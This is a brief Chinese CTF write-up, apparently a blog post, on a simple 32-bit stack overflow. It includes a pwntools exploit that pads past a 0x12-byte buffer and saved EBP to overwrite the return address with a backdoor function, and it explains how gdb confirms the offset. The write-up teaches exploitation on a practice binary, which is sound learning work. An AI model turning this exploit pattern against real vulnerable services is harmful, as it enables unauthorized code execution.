来看一道非常简单的栈溢出

Snipaste_2025-11-05_21-22-13.png

后门函数地址ida里很明显,0x8048521

exp本身不难写,下面看一下怎么用gdb确定偏移

1
2
3
4
5
6
7
from pwn import*
io=process("./pwn")
#io=remote("pwn.challenge.ctf.show",28175);
gdb.attach(io,"b main") #在main函数下断点
payload=b"A"*(0x12+0x4)+p32(0x8048521)
io.sendline(payload)
io.interactive()

Snipaste_2025-11-05_21-36-52.png

Snipaste_2025-11-05_21-37-43.png

0xffffcfd8 是当前函数的栈底,指向的0xffffcfe8是上一个函数的栈底(old_ebp)

用0xffffcfd8减去0xffffcfc6得到0x12,这也就对上了ida里的偏移量

我们退出,输入fini直接运行完,可以看出已经覆盖了0x12+0x4个字节,并且我们的后门函数地址已经成功覆盖到了ebp下的返回地址

Snipaste_2025-11-05_21-37-58.png